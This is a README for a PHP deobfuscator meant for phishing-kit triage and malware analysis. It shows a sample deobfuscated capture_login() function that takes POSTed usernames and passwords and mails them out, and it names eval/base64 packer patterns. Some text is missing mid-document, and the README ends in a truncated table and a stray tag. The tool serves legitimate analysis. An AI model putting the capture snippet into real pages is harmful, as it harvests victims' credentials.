bl4d3rvnner7/php-deobfuscator

GitHub: bl4d3rvnner7/php-deobfuscator

Stars: 0 | Forks: 0

![PHP](https://img.shields.io/badge/PHP-7.1%2B-777BB4?style=for-the-badge&logo=php&logoColor=white) ![Parser](https://img.shields.io/badge/nikic%2Fphp--parser-v5.x-8892BF?style=for-the-badge) ![Approach](https://img.shields.io/badge/Engine-AST%20based-orange?style=for-the-badge) ![Output](https://img.shields.io/badge/Output-Clean%20PHP%20%7C%20Docblocks-blue?style=for-the-badge) ![PRs Welcome](https://img.shields.io/badge/PRs-Welcome-blueviolet?style=for-the-badge) ![GitHub Stars](https://img.shields.io/github/stars/bl4d3rvnner7/php-deobfuscator?style=for-the-badge) ![GitHub Forks](https://img.shields.io/github/forks/bl4d3rvnner7/php-deobfuscator?style=for-the-badge) ![GitHub Issues](https://img.shields.io/github/issues/bl4d3rvnner7/php-deobfuscator?style=for-the-badge) ![GitHub Last Commit](https://img.shields.io/github/last-commit/bl4d3rvnner7/php-deobfuscator?style=for-the-badge) # 🧬 php-deobfuscator - Universal PHP Deobfuscator **An AST-based PHP deobfuscator that defeats the `${"\x47\x4c\x4f\x42\x41\x4c\x53"}[...]` / `$GLOBALS["key"]` variable-variable obfuscation used by phishing kits.** It decodes hex/octal escaped strings, folds constant expressions, resolves indirect variable-variable lookups back to real names, strips the dead decoy assignments, and pretty-prints clean, runnable PHP. Built on **nikic/php-parser v5.x**, so it works on a real syntax tree instead of fragile regex find-and-replace. Perfect for reverse engineering, malware analysis, phishing-kit triage, and understanding obfuscated PHP. ![Showcase](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/fbecb77fbc200512.png) ## 📑 Table of Contents - [The Obfuscation This Targets](#the-obfuscation-this-targets) - [Features](#features) - [Requirements](#requirements) - [Installation](#installation) - [Usage](#usage) - [Basic Commands](#basic-commands) - [Examples](#examples) - [Sample Output](#sample-output) - [Console Report](#console-report) - [Generated Docblocks](#generated-docblocks) - [How It Works](#how-it-works) - [TODO](#todo) - [Troubleshooting](#troubleshooting) - [Contributing](#contributing) - [Disclaimer](#disclaimer) - [License](#license) - [Support](#support) - [Links](#links) ## The Obfuscation This Targets If you are reverse engineering a phishing kit and the source looks like this — a wall of hex-escaped `$GLOBALS` keys feeding variable-variable lookups — this is the tool for you: _deobfuscated.` in the same directory, preserving the original extension - [x] **CI-friendly** - color auto-disables when piped or when `NO_COLOR` is set - [x] **Iterative** - re-runs passes until the AST stops changing (handles nested layers) ## Requirements - PHP **7.1+** (PHP 8.x recommended) - [nikic/php-parser](https://github.com/nikic/PHP-Parser) **v5.x** composer require nikic/php-parser ## Installation # Clone the repository git clone https://github.com/bl4d3rvnner7/php-deobfuscator.git cd php-deobfuscator # Install the parser dependency (creates vendor/autoload.php) composer require nikic/php-parser # Optional: install globally sudo ln -s "$(pwd)/universal-deobfuscator.php" /usr/local/bin/php-deobfuscator ## Usage ### Basic Commands | Command | Description | |---------|-------------| | `php universal-deobfuscator.php input.php` | Deobfuscate → `input_deobfuscated.php` | | `php universal-deobfuscator.php input.php out.php` | Deobfuscate to a custom output file | | `php universal-deobfuscator.php --doc input.php` | Also generate heuristic docblocks | | `php universal-deobfuscator.php --merge input.php` | Inline local `include`/`require` files first | | `php universal-deobfuscator.php --color input.php out.php` | Force colored output even when redirected | | `php universal-deobfuscator.php --help` | Show usage | Flags combine freely, e.g. `--merge --doc`. ### Examples # Basic deobfuscation (auto output name, same folder, same extension) php universal-deobfuscator.php index.php # Custom output path php universal-deobfuscator.php 'phishing_kit/ys/index.php' clean.php # Add auto-generated docblocks above each function/method php universal-deobfuscator.php --doc index.php # Multi-file: keys defined in helpers/config files, used in index.php php universal-deobfuscator.php --merge 'phishing_kit/ys/index.php' clean.php # Everything at once: merge includes, unwrap packers, add docblocks php universal-deobfuscator.php --merge --doc index.php # Works on any extension; output keeps it php universal-deobfuscator.php login.phtml # -> login_deobfuscated.phtml # Disable color for logs / CI NO_COLOR=1 php universal-deobfuscator.php index.php ## Sample Output ### Console Report PHP Deobfuscator ------------------------------------------------ [*] Input: index.php (31.92 KB) [*] Merged: 4 files (main.php, block4.php, country.php, index.php) ------------------------------------------------ Transformations [+] Constants folded/decoded 128 [+] Eval-packers unwrapped 2 [+] Indirect refs resolved 96 [+] $GLOBALS decoys removed 74 [+] Dead local assigns removed 41 [+] Docblocks generated 7 passes run: 4 removed vars: $xjzriqum, $kwpthywr, $duwqkzbk, $ctwsktz (+37 more) ------------------------------------------------ [+] Saved: ./index_deobfuscated.php 31.92 KB -> 14.12 KB (56% smaller) ### Generated Docblocks With `--doc`, each function gets a heuristic summary inferred from its body — handy for quickly spotting where a kit captures and exfiltrates credentials: /** * Handles POST input in capture_login(). * * Side effects: sends email (mail); sends HTTP headers / redirects; reads or writes session data. * * Captured fields: xpass, xuser. */ function capture_login() { $ID = $_POST["xuser"]; $PW = $_POST["xpass"]; $_SESSION["xusername"] = $ID; $_SESSION["xpassword"] = $PW; mail($to, "creds", $ID . ":" . $PW); header("Location: thankyou.php"); } The **Captured fields** line lists the exact `$_POST` / `$_GET` / `$_COOKIE` / `$_FILES` keys the function reads — the fastest way to map what a kit harvests. ## How It Works The script parses the file once, then runs a small pipeline of AST passes per round, repeating until nothing changes: 0. **Merge (optional, `--merge`)** - before anything else, local `include`/`require` targets with literal paths are recursively inlined into one combined source, so keys defined in another file resolve. Cycles and missing/dynamic/URL paths are skipped. 1. **Parse** - `nikic/php-parser` builds an AST. Hex/octal escapes inside string literals are decoded here, safely and for free. 2. **Constant fold** - constant concatenations and pure decode-function calls (`chr`, `base64_decode`, `str_rot13`, `strrev`, `gzinflate`, `gzuncompress`, `hex2bin`) collapse into literals. 3. **Unwrap packers** - once folding has turned an `eval(gzinflate(base64_decode(...)))` argument into a literal string of PHP, that string is compiled and its statements are spliced in place of the `eval`. Non-PHP or unparseable payloads are left untouched. 4. **Collect** - every constant string assignment to a plain variable or to `$GLOBALS["key"]` is recorded across the whole file, including single-assignment propagation (`$GLOBALS["a"] = $GLOBALS["b"]`). 5. **Resolve** - `${$GLOBALS["key"]}` and `${$var}` references are rewritten to their real `$names`, and the now-redundant `$GLOBALS["key"] = "name";` lines are dropped. 6. **Dead-code cleanup** - it recounts variable reads on the rewritten tree; any helper variable that was consumed only as an indirection name (and is read nowhere else) has its assignment removed. If a variable is genuinely used elsewhere, it is kept — logic is never altered. 7. **Docblocks (optional, `--doc`)** - a final pass inspects each function/method and prepends a generated summary, including the captured input field names. 8. **Print** - the standard pretty-printer emits clean, PSR-style PHP. Because it operates on the AST, it does not suffer the classic regex-deobfuscator failure of corrupting strings that happen to contain `{`, `}`, or backslash-digit sequences. ## TODO ### Done * [x] AST-based hex/octal decoding * [x] Constant folding (concat + pure decode functions) * [x] `$GLOBALS` / `${$var}` variable-variable resolution * [x] Dead decoy-assignment removal * [x] Heuristic docblock generation (`--doc`) * [x] Captured field names per function (e.g. "Captured fields: xuser, xpass") * [x] Eval-packer unwrapping (`eval(gzinflate(base64_decode(...)))`) * [x] Multi-file merge (`--merge` follows `include`/`require` to resolve cross-file keys) * [x] Constant propagation for `$GLOBALS["a"] = $GLOBALS["b"]` / `$x = $GLOBALS["a"]` chains * [x] Colored, CI-aware console report ### Planned ### Known Limitations * Keys assigned dynamically (`$GLOBALS[$x] = $y`) or built at runtime cannot be resolved statically * Constant propagation is intentionally conservative: a variable assigned more than once is never propagated (last-write-wins is ambiguous to a static tool) * `--merge` only inlines `include`/`require` with literal local paths; URL wrappers and dynamic paths are left untouched by design * Docblocks are heuristic hints to verify, not authoritative documentation ## Troubleshooting | Issue | Solution | |-------|----------| | `Call to undefined method ParserFactory::create()` | You are on php-parser **v5**; this tool already uses the v5 API. Make sure you pulled the latest `universal-deobfuscator.php`. | | `require_once vendor/autoload.php` fails | Run `composer require nikic/php-parser` in the tool's directory. | | Output still shows `${$GLOBALS["..."]}` | The key may live in an included file — re-run with `--merge`. If it persists, the key is assigned dynamically; see [Known Limitations](#known-limitations). | | `Parse error` printed, output unchanged | The input is not valid PHP (truncated paste, missing `
标签:ffuf